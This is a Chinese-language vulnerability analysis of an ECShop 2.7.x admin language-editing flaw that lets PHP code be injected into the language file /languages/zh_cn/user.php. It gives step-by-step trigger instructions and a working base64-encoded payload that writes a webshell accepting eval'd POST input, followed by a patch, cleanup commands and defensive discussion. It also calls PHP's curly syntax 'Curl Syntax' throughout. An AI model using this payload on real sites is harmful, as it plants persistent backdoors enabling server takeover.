ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php
目錄
1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞代碼分析
5. 防禦方法
6. 攻防思考
1. 漏洞描述
對于很多CMS網站來說,它們都需要儲存很多的網站META資訊,最常用的最佳實踐是以變量聲明的形式儲存在.php檔案中,在需要的時候直接include進來,PHP File Loader會自動将引入檔案中的變量注冊到目前的代碼空間中,供其他的代碼直接引用。例如
1. phpmyadmin使用config/config.inc.php儲存phpmyadmin的配置資訊:phpmyadmin setup.php代碼注入漏洞
2. ecshop使用/languages/zh_cn/user.php儲存網站的語言配置項:ecshop user.php php curl 代碼動态執行漏洞
這種将動态的變量儲存在靜态的檔案中,然後利用PHP File Loader的動态引用機制實作本地變量注冊的做法在為CMS架構開發帶來友善的同時,也引入了安全風險,黑客可以通過"模版編輯"、"背景網站基礎描述資訊編輯"、"語言項編輯"等等編輯方式,對這類檔案進行修改,進而将PHP代碼注入到這些.php檔案中,獲得代碼執行的機會
2. 漏洞觸發條件
1. 通路網站背景
http://localhost/ecshop2.7.2/admin/
2. 左邊導航欄
模闆管理 -> 語言項管理 -> 選擇: user.php(會員中心語言包) -> 搜尋: is_paid
3. 對模闆檔案進行編輯
插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}
4. 通路被注入PHP代碼的檔案
1) 直接通路儲存有PHP惡意代碼(髒資料)的檔案
http://localhost/ecshop2.7.2/languages/zh_cn/user.php
2) 通路user.php檔案,user.php會根據目前語言配置引入(include)對應的語言項檔案
http://localhost/ecshop2.7.2/user.php
5. 生成WEBSHELL
http://localhost/ecshop2.7.2/languages/zh_cn/fuck.php
通路Exploit URL
被注入檔案中的Curl Syntax代碼獲得執行,WEBSHELL檔案被寫入了磁盤
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2010-024714
3. 漏洞影響範圍
ecshop 2.7.2
最新版ecshop 2.7.3
更早版本是否存在未知
...
4. 漏洞代碼分析
我們知道,這個漏洞屬于一個代碼注入漏洞 && 惡意代碼持久化導緻正常檔案被污染的WEBSHELL永久後門的。是以我們分析這個漏洞要從漏洞源頭和被污染的.PHP檔案兩方面入手
我們先來分析一下代碼注入的源頭:\admin\edit_languages.php
.....
/*------------------------------------------------------ */
//-- 編輯語言項
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
/* 語言項的路徑 */
$lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
/* 替換前的語言項 */
$src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';
/* 修改過後的語言項 */
$dst_items = array();
$_POST['item_id'] = stripslashes_deep($_POST['item_id']);
for ($i = 0; $i < count($_POST['item_id']); $i++)
{
/* 語言項内容如果為空,不修改 */
if (trim($_POST['item_content'][$i]) == '')
{
unset($src_items[$i]);
}
else
{
$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
/*
這行代碼是導緻漏洞的關鍵
将使用者輸入的内容用雙引号("")包裹,并寫入磁盤上的檔案中
這為黑客提供向磁盤檔案注入"Curl Syntax Code",并進行代碼執行提供了機會
*/
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
}
}
....
這裡存在的安全問題問題有以下幾個
1. edit_languages.php屬于系統的輸入邊界,是接收使用者輸入資料的地方
2. edit_languages.php沒有對使用者輸入的資料進行有效過濾、轉義,導緻黑客将PHP代碼注入到user.php檔案中
3. 沒有遵循"資料"、"代碼"分離的原則,user.php本質上是用來儲存資料資訊的,但是卻被以黑客可以随便通路的.php檔案的形式儲存在磁盤上。要做好資料、代碼的邏輯分離,可以采用以下2種最佳安全實踐
1) 在儲存資料的檔案頭部使用 ifundine then exit的防禦代碼
2) 使用.txt檔案擴充名儲存這類儲存資料的檔案
edit_languages.php接收了使用者的輸入後,将修改後的資訊儲存在user.php中,我們繼續來分析一下這個檔案
/languages/zh_cn/user.php
$_LANG['is_paid'] = "${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}";
這裡的關鍵在于PHP Curl Syntax文法,在雙引号("")中的的代碼("${${....")會被PHP解釋器進行動态執行
關于PHP的這種動态代碼執行的文法的相關知識,請參閱另外的文章
http://www.cnblogs.com/LittleHann/p/3522990.html
//搜尋:0x10: Curly Syntax
5. 防禦方法
這種複合型的注入後污染磁盤檔案,進而留下永久型檔案後門的漏洞,修複方案也必須采用符合的方案
0x1: 修複\admin\edit_languages.php
将儲存到user.php中的字元串改為使用單引号('')包裹,在單引号模式下,PHP Curl Syntax("${${...")是無法執行的,這可以有效從源頭上阻止新的WEBSHELL漏洞檔案的産生
.....
/*------------------------------------------------------ */
//-- 編輯語言項
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
/* 語言項的路徑 */
$lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
/* 替換前的語言項 */
$src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';
/* 修改過後的語言項 */
$dst_items = array();
$_POST['item_id'] = stripslashes_deep($_POST['item_id']);
for ($i = 0; $i < count($_POST['item_id']); $i++)
{
/* 語言項内容如果為空,不修改 */
if (trim($_POST['item_content'][$i]) == '')
{
unset($src_items[$i]);
}
else
{
$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
/*
這行是patch代碼的關鍵,将原本的雙引号("")改為了單引号(''),有效地組織了代碼注入後的執行
*/
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
}
}
.....
0x2: 修複/languages/zh_cn/user.php
被黑客進行代碼注入攻擊之後,這個usre.php已經成為了一個新的後門,需要對其中的惡意代碼進行清理,即髒資料清洗
将語言模版檔案中的雙引号,全部換成單引号
1. Linux
sed -i "s/\"/'/g" calendar.php
sed -i "s/\"/'/g" common.php
sed -i "s/\"/'/g" demo.php
sed -i "s/\"/'/g" shopping_flow.php
sed -i "s/\"/'/g" user.php
這種方法還需要細化,如果直接簡單地去将""替換為'',會導緻檔案解析出錯
$_LANG['img_type_tips'] = '<font color='red'>小提示:</font>';
這行被我們替換為單引号之後,程式解析出錯了
2. Windows
暫無
6. 攻防思考
從攻防的角度上來看,ecshop的這個漏洞屬于"代碼注入(code injection)",但是和普通的sql injection的差别在于
1. 檔案/模版編輯類 注入漏洞的的注入的目标對象是磁盤上的靜态php檔案,而不是資料庫
2. 檔案/模版編輯類 在進行代碼注入後,往往不是立即生效,而是要通過之後的通路或者被其他檔案引入,才能執行被注入檔案中的curl syntax代碼
對于這種漏洞的防禦,除了采用和和sql injection類似的輸入過濾、執行過濾的代碼防禦思想外,還需要解決一個"髒資料清理"的問題
檔案型代碼注入的結果是黑客将攻擊代碼永久固化在了檔案中(存儲在資料表字段中的代碼注入也是類似的道理),被污染的檔案就被轉換為了一個WEBSHELL後門,即成為一個新的漏洞點,要徹底解決這個問題,需要同時做到
1. 輸入過濾,将WEBSHELL PHP CODE注入的源頭堵住
2. 對已經被注入的,對儲存髒資料的WEBSHELL後門檔案進行清理
Copyright (c) 2014 LittleHann All rights reserved